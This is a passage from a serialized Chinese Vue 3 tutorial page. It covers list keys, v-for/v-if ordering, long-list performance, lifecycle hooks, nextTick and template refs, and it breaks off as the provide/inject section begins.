",[22,10136,10137],{},"id",[17,10139,10140],{},"index 不是 id","——只有当「列表顺序固定、永不重排\u002F插入\u002F删除、行内也没有本地状态」时才勉强可用。",[10,10143,10144],{},"用 index 当 key 为什么危险？因为 Vue 靠 key 决定「哪个 DOM 节点属于哪条数据」。用 index 时，头部插入一条数据后，原本第 2 行的节点（带着它的勾选框状态）被当成第 1 行继续用——于是「勾选状态跟着位置走，而不是跟着人走」。示例 11 的两种 key 策略切换就是让你亲眼看到这件事。",[119,10146,10148],{"id":10147},"v-for-与-v-if-同级vue-3-的顺序变了","v-for 与 v-if 同级：Vue 3 的顺序变了",[127,10150,10152],{"className":129,"code":10151,"language":131,"meta":132,"style":132},"\u003C!-- ✗ 不要这样写 -->\n\u003Cli v-for=\"u in users\" v-if=\"u.active\">{{ u.name }}\u003C\u002Fli>\n",[22,10153,10154,10159],{"__ignoreMap":132},[136,10155,10156],{"class":138,"line":139},[136,10157,10158],{"class":456},"\u003C!-- ✗ 不要这样写 -->\n",[136,10160,10161,10163,10165,10167,10169,10172,10174,10176,10179,10182,10184],{"class":138,"line":169},[136,10162,143],{"class":142},[136,10164,1380],{"class":146},[136,10166,2207],{"class":150},[136,10168,154],{"class":142},[136,10170,10171],{"class":157},"\"u in users\"",[136,10173,5948],{"class":150},[136,10175,154],{"class":142},[136,10177,10178],{"class":157},"\"u.active\"",[136,10180,10181],{"class":142},">{{ u.name }}\u003C\u002F",[136,10183,1380],{"class":146},[136,10185,166],{"class":142},[10,10187,8395,10188,2655,10190,10192,10193,10196,10197,10200],{},[22,10189,811],{},[17,10191,2658],{},"求值，此时 ",[22,10194,10195],{},"u"," 还不存在 → ",[22,10198,10199],{},"u is not defined","。三种正解：",[127,10202,10204],{"className":129,"code":10203,"language":131,"meta":132,"style":132},"\u003C!-- ① 用 computed 先过滤（首选：只算一次，还能缓存） -->\n\u003Cli v-for=\"u in activeUsers\" :key=\"u.id\">{{ u.name }}\u003C\u002Fli>\n\u003Cscript setup>\nconst activeUsers = computed(() => users.value.filter(u => u.active))\n\u003C\u002Fscript>\n\n\u003C!-- ② 条件在外层包一层（template 上不产生额外 DOM） -->\n\u003Cul v-if=\"showUsers\">\n  \u003Cli v-for=\"u in users\" :key=\"u.id\">…\u003C\u002Fli>\n\u003C\u002Ful>\n\n\u003C!-- ③ 每一行内部再用 v-if（当「过滤条件」和「行内显示」不是一回事时） -->\n\u003Cli v-for=\"u in users\" :key=\"u.id\">\u003Cspan v-if=\"u.active\">{{ u.name }}\u003C\u002Fspan>\u003C\u002Fli>\n",[22,10205,10206,10211,10237,10247,10276,10284,10288,10293,10308,10332,10340,10344,10349],{"__ignoreMap":132},[136,10207,10208],{"class":138,"line":139},[136,10209,10210],{"class":456},"\u003C!-- ① 用 computed 先过滤（首选：只算一次，还能缓存） -->\n",[136,10212,10213,10215,10217,10219,10221,10224,10226,10228,10231,10233,10235],{"class":138,"line":169},[136,10214,143],{"class":142},[136,10216,1380],{"class":146},[136,10218,2207],{"class":150},[136,10220,154],{"class":142},[136,10222,10223],{"class":157},"\"u in activeUsers\"",[136,10225,2215],{"class":150},[136,10227,154],{"class":142},[136,10229,10230],{"class":157},"\"u.id\"",[136,10232,10181],{"class":142},[136,10234,1380],{"class":146},[136,10236,166],{"class":142},[136,10238,10239,10241,10243,10245],{"class":138,"line":176},[136,10240,143],{"class":142},[136,10242,181],{"class":146},[136,10244,318],{"class":150},[136,10246,166],{"class":142},[136,10248,10249,10251,10254,10256,10258,10260,10262,10265,10267,10269,10271,10273],{"class":138,"line":199},[136,10250,339],{"class":232},[136,10252,10253],{"class":236}," activeUsers",[136,10255,240],{"class":232},[136,10257,587],{"class":150},[136,10259,590],{"class":142},[136,10261,593],{"class":232},[136,10263,10264],{"class":142}," users.value.",[136,10266,4184],{"class":150},[136,10268,249],{"class":142},[136,10270,10195],{"class":703},[136,10272,4191],{"class":232},[136,10274,10275],{"class":142}," u.active))\n",[136,10277,10278,10280,10282],{"class":138,"line":208},[136,10279,292],{"class":142},[136,10281,181],{"class":146},[136,10283,166],{"class":142},[136,10285,10286],{"class":138,"line":220},[136,10287,173],{"emptyLinePlaceholder":172},[136,10289,10290],{"class":138,"line":229},[136,10291,10292],{"class":456},"\u003C!-- ② 条件在外层包一层（template 上不产生额外 DOM） -->\n",[136,10294,10295,10297,10299,10301,10303,10306],{"class":138,"line":258},[136,10296,143],{"class":142},[136,10298,1377],{"class":146},[136,10300,5948],{"class":150},[136,10302,154],{"class":142},[136,10304,10305],{"class":157},"\"showUsers\"",[136,10307,166],{"class":142},[136,10309,10310,10312,10314,10316,10318,10320,10322,10324,10326,10328,10330],{"class":138,"line":267},[136,10311,378],{"class":142},[136,10313,1380],{"class":146},[136,10315,2207],{"class":150},[136,10317,154],{"class":142},[136,10319,10171],{"class":157},[136,10321,2215],{"class":150},[136,10323,154],{"class":142},[136,10325,10230],{"class":157},[136,10327,6835],{"class":142},[136,10329,1380],{"class":146},[136,10331,166],{"class":142},[136,10333,10334,10336,10338],{"class":138,"line":273},[136,10335,292],{"class":142},[136,10337,1377],{"class":146},[136,10339,166],{"class":142},[136,10341,10342],{"class":138,"line":289},[136,10343,173],{"emptyLinePlaceholder":172},[136,10345,10346],{"class":138,"line":605},[136,10347,10348],{"class":456},"\u003C!-- ③ 每一行内部再用 v-if（当「过滤条件」和「行内显示」不是一回事时） -->\n",[136,10350,10351,10353,10355,10357,10359,10361,10363,10365,10367,10369,10371,10373,10375,10377,10379,10381,10383,10385],{"class":138,"line":2406},[136,10352,143],{"class":142},[136,10354,1380],{"class":146},[136,10356,2207],{"class":150},[136,10358,154],{"class":142},[136,10360,10171],{"class":157},[136,10362,2215],{"class":150},[136,10364,154],{"class":142},[136,10366,10230],{"class":157},[136,10368,8472],{"class":142},[136,10370,136],{"class":146},[136,10372,5948],{"class":150},[136,10374,154],{"class":142},[136,10376,10178],{"class":157},[136,10378,10181],{"class":142},[136,10380,136],{"class":146},[136,10382,192],{"class":142},[136,10384,1380],{"class":146},[136,10386,166],{"class":142},[10,10388,10389],{},"绝大多数情况选 ①。用 ③ 时注意：不满足条件的行仍然创建了节点，只是里面空着——数据量大时白花一堆开销。",[119,10391,10392],{"id":10392},"长列表的性能底线",[53,10394,10395,10408],{},[56,10396,10397],{},[59,10398,10399,10402,10405],{},[62,10400,10401],{},"手段",[62,10403,10404],{},"什么时候用",[62,10406,10407],{},"注意",[72,10409,10410,10426,10437,10448,10461,10473],{},[59,10411,10412,10417,10420],{},[77,10413,10414,10416],{},[22,10415,3479],{}," 存列表",[77,10418,10419],{},"上千条、且行内不需要深层响应",[77,10421,10422,10423,10425],{},"更新时要",[17,10424,3813],{},"新数组",[59,10427,10428,10431,10434],{},[77,10429,10430],{},"分页 \u002F 无限滚动",[77,10432,10433],{},"一次没必要全放",[77,10435,10436],{},"IntersectionObserver 触发加载",[59,10438,10439,10442,10445],{},[77,10440,10441],{},"虚拟列表（vue-virtual-scroller 等）",[77,10443,10444],{},"万级、固定行高",[77,10446,10447],{},"需要稳定的高度与 key",[59,10449,10450,10455,10458],{},[77,10451,10452],{},[22,10453,10454],{},"v-memo=\"[row.id, row.done]\"",[77,10456,10457],{},"列表项内部有昂贵计算",[77,10459,10460],{},"依赖数组要写全，漏了就是「不更新」",[59,10462,10463,10467,10470],{},[77,10464,10465],{},[22,10466,1986],{},[77,10468,10469],{},"纯静态片段",[77,10471,10472],{},"一次之后永不更新",[59,10474,10475,10478,10481],{},[77,10476,10477],{},"把行抽成子组件",[77,10479,10480],{},"行内有自己的状态与逻辑",[77,10482,10483],{},"子组件 props 用浅比较天然省下渲染",[801,10485],{"height":10486,"src":10487,"title":10488},740,"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F11-list-key.html","示例 11：index 作 key 的错位现场与 v-for\u002Fv-if 顺序",[119,10490,816],{"id":10491},"️-本章的坑-10",[10,10493,10494,10499,10500,10503],{},[17,10495,1664,10496,10498],{},[22,10497,7727],{}," 缺失时 Vue 用「原地复用」策略。"," 不报错、看起来也正常，直到你插入\u002F删除一行——输入框内容错位、checkbox 状态错乱。",[17,10501,10502],{},"开发版会警告，生产版不警告","，这是「测试环境好、线上用户截图说状态乱」的经典成因。",[10,10505,10506,10509,10510,1452,10512,10514],{},[17,10507,10508],{},"2. index 当 key + 行内组件本地状态 = 灾难。"," 组件实例被复用时不会重新初始化，",[22,10511,421],{},[22,10513,246],{}," 留下的就是上一行的旧值。",[10,10516,10517,10522,10523,10526,10527,10529],{},[17,10518,878,10519,10521],{},[22,10520,2650],{}," 里直接改数组会让遍历与渲染互相打断。"," 在循环体内 ",[22,10524,10525],{},"list.splice(i, 1)"," 删除当前项属于「边遍历边改」，请改用 ",[22,10528,4184],{}," 生成新数组赋值回去。",[10,10531,10532,10538,10539,10542,10543,10546],{},[17,10533,10534,10535,849],{},"4. 对象遍历的顺序依赖 ",[22,10536,10537],{},"Object.keys"," 数字键会被提前排序（",[22,10540,10541],{},"{2: 'a', 1: 'b'}"," 遍历顺序是 1、2），需要顺序就用数组，或 ",[22,10544,10545],{},"Object.entries"," 自己排。",[10,10548,10549,10559],{},[17,10550,1723,10551,10554,10555,10558],{},[22,10552,10553],{},"\u003Ctransition-group>","（Vue 3 里叫 ",[22,10556,10557],{},"\u003CTransitionGroup>","）必须有 key。"," 少 key 时进出场动画错位。",[10,10561,10562,10565,10566,10569],{},[17,10563,10564],{},"6. key 不是给 DOM 用的属性。"," 它不会出现在渲染出的 HTML 里，别指望用 ",[22,10567,10568],{},"querySelector('[key=1]')"," 找元素。",[10,10571,10572,10575,10576,10579,10580,10583],{},[17,10573,10574],{},"7. 深层嵌套列表的 key 要带上层级信息。"," 两层都用 ",[22,10577,10578],{},"index"," 时，跨层复用会产生「A 分支展开了 B 分支的状态」。用 ",[22,10581,10582],{},"row.id + level"," 之类的组合字符串。",[10,10585,10586,822,10589,10592,10593,10596],{},[17,10587,10588],{},"8. 列表数据整体替换 vs 局部修改。",[22,10590,10591],{},"list.value = newArray"," 会重建所有节点（除非 key 稳定）；",[22,10594,10595],{},"list.value[i].done = true"," 只改一行。批量改动时用前者并保证 key 稳定，别在循环里逐条改触发几十次更新。",[119,10598,10600],{"id":10599},"附列表写法速查","附：列表写法速查",[53,10602,10603,10611],{},[56,10604,10605],{},[59,10606,10607,10609],{},[62,10608,4907],{},[62,10610,1797],{},[72,10612,10613,10623,10633,10643,10653,10667,10677,10691],{},[59,10614,10615,10618],{},[77,10616,10617],{},"数组 + 索引",[77,10619,10620],{},[22,10621,10622],{},"v-for=\"(item, i) in list\" :key=\"item.id\"",[59,10624,10625,10628],{},[77,10626,10627],{},"对象",[77,10629,10630],{},[22,10631,10632],{},"v-for=\"(val, key) in obj\" :key=\"key\"",[59,10634,10635,10638],{},[77,10636,10637],{},"数字 1..N",[77,10639,10640],{},[22,10641,10642],{},"v-for=\"n in count\" :key=\"n\"",[59,10644,10645,10648],{},[77,10646,10647],{},"不产生额外元素",[77,10649,10650],{},[22,10651,10652],{},"\u003Ctemplate v-for=\"…\" :key=\"…\">",[59,10654,10655,10658],{},[77,10656,10657],{},"过滤后渲染",[77,10659,10660,1072,10663,10666],{},[22,10661,10662],{},"v-for=\"u in filtered\"",[22,10664,10665],{},"filtered"," 是 computed）",[59,10668,10669,10672],{},[77,10670,10671],{},"大列表省开销",[77,10673,10674,10676],{},[22,10675,3479],{}," + 整体替换、或虚拟滚动",[59,10678,10679,10682],{},[77,10680,10681],{},"行内动画",[77,10683,10684,10687,10688],{},[22,10685,10686],{},"\u003CTransitionGroup tag=\"ul\" name=\"list\">"," + 每行 ",[22,10689,10690],{},":key",[59,10692,10693,10696],{},[77,10694,10695],{},"key 选择",[77,10697,10698,10699],{},"后端 id > 本地生成的稳定 id > ",[10700,10701,10578],"del",{},[35,10703,10705],{"id":10704},"十二生命周期与模板-ref什么时候可以碰-dom","十二、生命周期与模板 ref：什么时候可以碰 DOM",[10,10707,10708,10709,849],{},"组件从创建到销毁有一串确定的时刻。想知道「哪段代码该写在哪个时机」，靠的就是这张时序表；而「什么时候才能读 DOM」只有一个答案：",[17,10710,10711],{},"挂载之后",[119,10713,10714],{"id":10714},"六个钩子与它们的时机",[127,10716,10718],{"className":305,"code":10717,"language":307,"meta":132,"style":132},"\u003Cscript setup>\nimport { ref, onBeforeMount, onMounted, onBeforeUpdate, onUpdated, onBeforeUnmount, onUnmounted, nextTick } from 'vue'\nconst n = ref(0)\n\nconsole.log('1. setup()：此刻还没有 DOM')\nonBeforeMount(() => console.log('2. beforeMount：渲染函数准备好，DOM 还没插进页面'))\nonMounted(() => console.log('3. mounted：DOM 已就绪，可以读\u002F操作元素、起定时器、发请求'))\nonBeforeUpdate(() => console.log('4. beforeUpdate：数据变了，DOM 尚未更新'))\nonUpdated(() => console.log('5. updated：DOM 已跟上新数据'))\nonBeforeUnmount(() => console.log('6. beforeUnmount：卸载前，做清理'))\nonUnmounted(() => console.log('7. unmounted：已从 DOM 移除'))\n\u003C\u002Fscript>\n",[22,10719,10720,10730,10741,10758,10762,10776,10796,10815,10835,10854,10873,10893],{"__ignoreMap":132},[136,10721,10722,10724,10726,10728],{"class":138,"line":139},[136,10723,143],{"class":142},[136,10725,181],{"class":146},[136,10727,318],{"class":150},[136,10729,166],{"class":142},[136,10731,10732,10734,10737,10739],{"class":138,"line":169},[136,10733,325],{"class":232},[136,10735,10736],{"class":142}," { ref, onBeforeMount, onMounted, onBeforeUpdate, onUpdated, onBeforeUnmount, onUnmounted, nextTick } ",[136,10738,331],{"class":232},[136,10740,334],{"class":157},[136,10742,10743,10745,10748,10750,10752,10754,10756],{"class":138,"line":176},[136,10744,339],{"class":232},[136,10746,10747],{"class":236}," n",[136,10749,240],{"class":232},[136,10751,346],{"class":150},[136,10753,249],{"class":142},[136,10755,485],{"class":236},[136,10757,255],{"class":142},[136,10759,10760],{"class":138,"line":199},[136,10761,173],{"emptyLinePlaceholder":172},[136,10763,10764,10767,10769,10771,10774],{"class":138,"line":208},[136,10765,10766],{"class":142},"console.",[136,10768,525],{"class":150},[136,10770,249],{"class":142},[136,10772,10773],{"class":157},"'1. setup()：此刻还没有 DOM'",[136,10775,255],{"class":142},[136,10777,10778,10781,10783,10785,10787,10789,10791,10794],{"class":138,"line":220},[136,10779,10780],{"class":150},"onBeforeMount",[136,10782,590],{"class":142},[136,10784,593],{"class":232},[136,10786,615],{"class":142},[136,10788,525],{"class":150},[136,10790,249],{"class":142},[136,10792,10793],{"class":157},"'2. beforeMount：渲染函数准备好，DOM 还没插进页面'",[136,10795,4160],{"class":142},[136,10797,10798,10800,10802,10804,10806,10808,10810,10813],{"class":138,"line":229},[136,10799,608],{"class":150},[136,10801,590],{"class":142},[136,10803,593],{"class":232},[136,10805,615],{"class":142},[136,10807,525],{"class":150},[136,10809,249],{"class":142},[136,10811,10812],{"class":157},"'3. mounted：DOM 已就绪，可以读\u002F操作元素、起定时器、发请求'",[136,10814,4160],{"class":142},[136,10816,10817,10820,10822,10824,10826,10828,10830,10833],{"class":138,"line":258},[136,10818,10819],{"class":150},"onBeforeUpdate",[136,10821,590],{"class":142},[136,10823,593],{"class":232},[136,10825,615],{"class":142},[136,10827,525],{"class":150},[136,10829,249],{"class":142},[136,10831,10832],{"class":157},"'4. beforeUpdate：数据变了，DOM 尚未更新'",[136,10834,4160],{"class":142},[136,10836,10837,10839,10841,10843,10845,10847,10849,10852],{"class":138,"line":267},[136,10838,4978],{"class":150},[136,10840,590],{"class":142},[136,10842,593],{"class":232},[136,10844,615],{"class":142},[136,10846,525],{"class":150},[136,10848,249],{"class":142},[136,10850,10851],{"class":157},"'5. updated：DOM 已跟上新数据'",[136,10853,4160],{"class":142},[136,10855,10856,10858,10860,10862,10864,10866,10868,10871],{"class":138,"line":273},[136,10857,4849],{"class":150},[136,10859,590],{"class":142},[136,10861,593],{"class":232},[136,10863,615],{"class":142},[136,10865,525],{"class":150},[136,10867,249],{"class":142},[136,10869,10870],{"class":157},"'6. beforeUnmount：卸载前，做清理'",[136,10872,4160],{"class":142},[136,10874,10875,10878,10880,10882,10884,10886,10888,10891],{"class":138,"line":289},[136,10876,10877],{"class":150},"onUnmounted",[136,10879,590],{"class":142},[136,10881,593],{"class":232},[136,10883,615],{"class":142},[136,10885,525],{"class":150},[136,10887,249],{"class":142},[136,10889,10890],{"class":157},"'7. unmounted：已从 DOM 移除'",[136,10892,4160],{"class":142},[136,10894,10895,10897,10899],{"class":138,"line":605},[136,10896,292],{"class":142},[136,10898,181],{"class":146},[136,10900,166],{"class":142},[10,10902,10903,10904,9578,10907,10909,10910,1452,10913,10915,10916,10919],{},"组合式里没有 ",[22,10905,10906],{},"created",[22,10908,435],{}," 本身就取代了 ",[22,10911,10912],{},"beforeCreate",[22,10914,10906],{},"。也没有 ",[22,10917,10918],{},"onBeforeSetup"," 这种东西。",[10,10921,10922,10925,10926,10928,10929,436,10931,10933,10934,6759,10936,10938,10939,10942,10943,10945],{},[17,10923,10924],{},"该写在哪个钩子里","：起定时器\u002F加全局监听\u002F初始化第三方图表实例 → ",[22,10927,608],{},"；对应的清理 → ",[22,10930,4849],{},[22,10932,10877],{},"）；订阅全局事件 + 取消 → 同一对钩子；读 DOM → ",[22,10935,608],{},[22,10937,4981],{}," 之后；数据变化后的 DOM 副作用 → 优先 ",[22,10940,10941],{},"watch(..., { flush: 'post' })","，而不是 ",[22,10944,4978],{},"（后者每次任何更新都触发，很容易写出循环）。",[119,10947,10949,10950],{"id":10948},"dom-是异步更新的nexttick","DOM 是异步更新的：",[22,10951,4981],{},[127,10953,10955],{"className":447,"code":10954,"language":449,"meta":132,"style":132},"function add() {\n  list.value.push(Date.now())\n  console.log(el.value.children.length)      \u002F\u002F ✗ 还是旧数量，DOM 还没更新\n  nextTick(() => console.log(el.value.children.length))  \u002F\u002F ✓ 更新后\n}\n",[22,10956,10957,10966,10981,10999,11022],{"__ignoreMap":132},[136,10958,10959,10961,10964],{"class":138,"line":139},[136,10960,5231],{"class":232},[136,10962,10963],{"class":150}," add",[136,10965,226],{"class":142},[136,10967,10968,10970,10972,10975,10978],{"class":138,"line":169},[136,10969,4181],{"class":142},[136,10971,3384],{"class":150},[136,10973,10974],{"class":142},"(Date.",[136,10976,10977],{"class":150},"now",[136,10979,10980],{"class":142},"())\n",[136,10982,10983,10985,10987,10990,10993,10996],{"class":138,"line":176},[136,10984,5252],{"class":142},[136,10986,525],{"class":150},[136,10988,10989],{"class":142},"(el.value.children.",[136,10991,10992],{"class":236},"length",[136,10994,10995],{"class":142},")      ",[136,10997,10998],{"class":456},"\u002F\u002F ✗ 还是旧数量，DOM 还没更新\n",[136,11000,11001,11004,11006,11008,11010,11012,11014,11016,11019],{"class":138,"line":199},[136,11002,11003],{"class":150},"  nextTick",[136,11005,590],{"class":142},[136,11007,593],{"class":232},[136,11009,615],{"class":142},[136,11011,525],{"class":150},[136,11013,10989],{"class":142},[136,11015,10992],{"class":236},[136,11017,11018],{"class":142},"))  ",[136,11020,11021],{"class":456},"\u002F\u002F ✓ 更新后\n",[136,11023,11024],{"class":138,"line":208},[136,11025,538],{"class":142},[10,11027,11028,11029,1442,11031,11033,11034,1442,11036,11038],{},"Vue 把同一批数据变更合并成一次更新（微任务），所以「改完数据立刻读 DOM」拿到的必然是旧值。三种等 DOM 的办法：",[22,11030,4893],{},[22,11032,3720],{}," 配 ",[22,11035,4885],{},[22,11037,4978],{},"（最不推荐）。",[119,11040,11042],{"id":11041},"模板-ref拿到元素或子组件实例","模板 ref：拿到元素或子组件实例",[127,11044,11046],{"className":305,"code":11045,"language":307,"meta":132,"style":132},"\u003Cscript setup>\nimport { ref, useTemplateRef, onMounted } from 'vue'\nconst inputEl = ref(null)                 \u002F\u002F 名字与模板里的 ref 属性对应\n\u002F\u002F Vue 3.5 推荐写法（避免「ref 变量」与「ref 属性」混淆）：\n\u002F\u002F const inputEl = useTemplateRef('search-input')\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cinput ref=\"search-input\" v-model=\"q\" placeholder=\"搜索\">\n  \u003CUserCard ref=\"card\" \u002F>\n\u003C\u002Ftemplate>\n",[22,11047,11048,11058,11069,11090,11095,11100,11108,11112,11120,11148,11162],{"__ignoreMap":132},[136,11049,11050,11052,11054,11056],{"class":138,"line":139},[136,11051,143],{"class":142},[136,11053,181],{"class":146},[136,11055,318],{"class":150},[136,11057,166],{"class":142},[136,11059,11060,11062,11065,11067],{"class":138,"line":169},[136,11061,325],{"class":232},[136,11063,11064],{"class":142}," { ref, useTemplateRef, onMounted } ",[136,11066,331],{"class":232},[136,11068,334],{"class":157},[136,11070,11071,11073,11076,11078,11080,11082,11084,11087],{"class":138,"line":176},[136,11072,339],{"class":232},[136,11074,11075],{"class":236}," inputEl",[136,11077,240],{"class":232},[136,11079,346],{"class":150},[136,11081,249],{"class":142},[136,11083,1731],{"class":236},[136,11085,11086],{"class":142},")                 ",[136,11088,11089],{"class":456},"\u002F\u002F 名字与模板里的 ref 属性对应\n",[136,11091,11092],{"class":138,"line":199},[136,11093,11094],{"class":456},"\u002F\u002F Vue 3.5 推荐写法（避免「ref 变量」与「ref 属性」混淆）：\n",[136,11096,11097],{"class":138,"line":208},[136,11098,11099],{"class":456},"\u002F\u002F const inputEl = useTemplateRef('search-input')\n",[136,11101,11102,11104,11106],{"class":138,"line":220},[136,11103,292],{"class":142},[136,11105,181],{"class":146},[136,11107,166],{"class":142},[136,11109,11110],{"class":138,"line":229},[136,11111,173],{"emptyLinePlaceholder":172},[136,11113,11114,11116,11118],{"class":138,"line":258},[136,11115,143],{"class":142},[136,11117,371],{"class":146},[136,11119,166],{"class":142},[136,11121,11122,11124,11126,11128,11130,11133,11135,11137,11139,11141,11143,11146],{"class":138,"line":267},[136,11123,378],{"class":142},[136,11125,2281],{"class":146},[136,11127,346],{"class":150},[136,11129,154],{"class":142},[136,11131,11132],{"class":157},"\"search-input\"",[136,11134,2284],{"class":150},[136,11136,154],{"class":142},[136,11138,2289],{"class":157},[136,11140,5932],{"class":150},[136,11142,154],{"class":142},[136,11144,11145],{"class":157},"\"搜索\"",[136,11147,166],{"class":142},[136,11149,11150,11152,11154,11156,11158,11160],{"class":138,"line":273},[136,11151,378],{"class":142},[136,11153,7574],{"class":146},[136,11155,346],{"class":150},[136,11157,154],{"class":142},[136,11159,7184],{"class":157},[136,11161,8371],{"class":142},[136,11163,11164,11166,11168],{"class":138,"line":289},[136,11165,292],{"class":142},[136,11167,371],{"class":146},[136,11169,166],{"class":142},[10,11171,11172],{},"四条规则：",[3244,11174,11175,11191,11207,11225],{},[1380,11176,11177,6283,11184,11186,11187,11190],{},[17,11178,11179,11181,11182,849],{},[22,11180,431],{}," 之前它是 ",[22,11183,1731],{},[22,11185,1522],{}," 顶层直接 ",[22,11188,11189],{},"inputEl.value.focus()"," 必然报错。",[1380,11192,11193,11194,11196,11197,1072,11199,11202,11203,11206],{},"出现在 ",[22,11195,2650],{}," 里的 ref 会被 Vue 收集成",[17,11198,5551],{},[22,11200,11201],{},"ref=\"rowEl\""," 时 ",[22,11204,11205],{},"rowEl.value"," 是数组）。",[1380,11208,11209,11210,11213,11214,11216,11217,11220,11221,11224],{},"给",[17,11211,11212],{},"组件","加 ref 拿到的是组件实例，而不是 DOM 元素；",[22,11215,439],{}," 的组件默认",[17,11218,11219],{},"不暴露任何东西","，父级拿到的是个空壳，需要子组件 ",[22,11222,11223],{},"defineExpose({ focus, reset })","（第十四章有现场）。",[1380,11226,11227,11228,849],{},"要拿原生 DOM，ref 加在原生元素上即可；动态 ref 名用函数形式 ",[22,11229,11230],{},":ref=\"(el) => { els[i] = el }\"",[801,11232],{"height":10486,"src":11233,"title":11234},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F12-lifecycle.html","示例 12：生命周期时间轴、nextTick 与卸载清理",[10,11236,11237,11238,11240],{},"示例 12 最值得看的是第 2 块：不写 ",[22,11239,10877],{}," 清理时，组件已经卸载、日志还在一秒一秒往外刷——这就是线上「路由切走了还在轮询」的成因。",[119,11242,816],{"id":11243},"️-本章的坑-11",[10,11245,11246,822,11252,1442,11255,4772,11258,11260,11261,11263,11264,11267,11268,849],{},[17,11247,11248,11249,11251],{},"1. 在 ",[22,11250,1522],{}," 顶层访问 DOM。",[22,11253,11254],{},"document.querySelector",[22,11256,11257],{},"el.value.focus()",[22,11259,1522],{}," 里执行时机会导致拿到 ",[22,11262,1731],{},"（或 SSR 时 ",[22,11265,11266],{},"document is not defined","）。挪进 ",[22,11269,608],{},[10,11271,11272,11278,11279,849],{},[17,11273,11274,11275,11277],{},"2. 忘记清理：定时器、全局事件、WebSocket、IntersectionObserver、",[22,11276,3720],{}," 手动 stop。"," 卸载后回调还在跑，轻则内存泄漏，重则在已销毁的组件里改数据。规则很简单：",[17,11280,11281],{},"在哪创建的订阅，就在对应的卸载钩子里关掉",[10,11283,11284,11293,11294,11297,11298,11300],{},[17,11285,11286,11287,11290,11291,849],{},"3. 组件被 ",[22,11288,11289],{},"KeepAlive"," 缓存时不会触发 ",[22,11292,2599],{}," 切走只走 ",[22,11295,11296],{},"onDeactivated","。你在 ",[22,11299,608],{}," 里起的定时器，切走时不会停（第十四章专门讲这个）。",[10,11302,11303,11308,11309,11311,11312,862,11314,849],{},[17,11304,1708,11305,11307],{},[22,11306,4978],{}," 里再改响应式数据 → 递归更新。"," 报 ",[22,11310,4760],{},"，页面卡死。想「数据变化后同步 DOM」用 ",[22,11313,3720],{},[22,11315,4885],{},[10,11317,11318,11325,11326,11329,11330,849],{},[17,11319,1723,11320,11322,11323,849],{},[22,11321,811],{}," 控制的 ref 在隐藏时是 ",[22,11324,1731],{}," 任何 ",[22,11327,11328],{},"xxx.value.method()"," 之前要判空，或用可选链 ",[22,11331,11332],{},"inputEl.value?.focus()",[10,11334,11335,822,11338,11341],{},[17,11336,11337],{},"6. 异步回调里假设组件还活着。",[22,11339,11340],{},"setTimeout(() => { data.value = res }, 3000)","，用户 1 秒后就切走了——给组件赋值虽然不报错，但请求竞态会污染下一次进入的界面。卸载时清 timer，或加「实例仍存活」标记。",[10,11343,11344,3721,11347,11349,11350,11353,11354,11357,11358,11361,11362,1442,11365,1543],{},[17,11345,11346],{},"7. 模板 ref 名字与响应式变量重名会被覆盖。",[22,11348,1522],{}," 里既有普通 ",[22,11351,11352],{},"const el = ref(0)"," 又给元素写 ",[22,11355,11356],{},"ref=\"el\"","，行为难料。约定 ref 变量统一以 ",[22,11359,11360],{},"El"," 结尾（",[22,11363,11364],{},"inputEl",[22,11366,11367],{},"chartEl",[119,11369,11371],{"id":11370},"附钩子时序与用途表","附：钩子时序与用途表",[53,11373,11374,11390],{},[56,11375,11376],{},[59,11377,11378,11381,11384,11387],{},[62,11379,11380],{},"顺序",[62,11382,11383],{},"钩子 \u002F 阶段",[62,11385,11386],{},"能做什么",[62,11388,11389],{},"别做什么",[72,11391,11392,11406,11421,11435,11450,11465,11480,11495],{},[59,11393,11394,11396,11400,11403],{},[77,11395,3360],{},[77,11397,11398],{},[22,11399,435],{},[77,11401,11402],{},"声明 ref\u002Fcomputed\u002Fwatch、注册 provide",[77,11404,11405],{},"访问 DOM、发请求（无 SSR 时勉强但没必要）",[59,11407,11408,11411,11415,11418],{},[77,11409,11410],{},"2",[77,11412,11413],{},[22,11414,10780],{},[77,11416,11417],{},"极少用",[77,11419,11420],{},"读 DOM（还没插）",[59,11422,11423,11425,11429,11432],{},[77,11424,6728],{},[77,11426,11427],{},[22,11428,608],{},[77,11430,11431],{},"读 DOM、起 timer、第三方实例、首次请求",[77,11433,11434],{},"忘记配套卸载清理",[59,11436,11437,11440,11444,11447],{},[77,11438,11439],{},"4",[77,11441,11442],{},[22,11443,10819],{},[77,11445,11446],{},"记录更新前的 DOM 状态（如滚动位置）",[77,11448,11449],{},"改响应式数据",[59,11451,11452,11455,11459,11462],{},[77,11453,11454],{},"5",[77,11456,11457],{},[22,11458,4978],{},[77,11460,11461],{},"几乎不需要",[77,11463,11464],{},"在里面改数据（递归更新）",[59,11466,11467,11470,11474,11477],{},[77,11468,11469],{},"6",[77,11471,11472],{},[22,11473,4849],{},[77,11475,11476],{},"清理 timer\u002F监听\u002F实例",[77,11478,11479],{},"异步操作（来不及 await）",[59,11481,11482,11485,11489,11492],{},[77,11483,11484],{},"7",[77,11486,11487],{},[22,11488,10877],{},[77,11490,11491],{},"兜底清理",[77,11493,11494],{},"假设 DOM 还在",[59,11496,11497,11499,11506,11512],{},[77,11498,3831],{},[77,11500,11501,422,11504],{},[22,11502,11503],{},"onActivated",[22,11505,11296],{},[77,11507,11508,11509,11511],{},"仅 ",[22,11510,11289],{}," 内，替代 mounted\u002Funmounted 的重复触发",[77,11513,11514],{},"当成普通钩子写重复逻辑",[35,11516,11518],{"id":11517},"十三provide-inject-与组合式函数跨层级与逻辑复用","十三、provide \u002F inject 与组合式函数：跨层级与逻辑复用",[10,11520,11521],{},"props 一层层传下去（俗称「prop drilling」）传三层就没人忍得了；把组件里的通用逻辑抽出来复用，又是另一件事。这一章解决这两个「组织问题」。",[119,11523,11525],{"id":11524},"provide-inject跨层级传值","provide \u002F inject：跨层级传值",[127,11527,11529],{"className":305,"code":11528,"language":307,"meta":132,"style":132},"\u003C!-- 祖先组件 ThemePanel.vue -->\n\u003Cscript setup>\nimport { provide, ref, readonly, computed } from 'vue'\nconst theme = ref('light')\nconst toggle = () => { theme.value = theme.value === 'light' ? 'dark' : 'light' }\n\nprovide('theme', readonly(theme))       \u002F\u002F 只读的值\nprovide('toggleTheme', toggle)          \u002F\u002F 改的动作交给后代\nprovide('user', computed(() => store.user))\n\u003C\u002Fscript>\n\n\u003C!-- 任意深度的后代 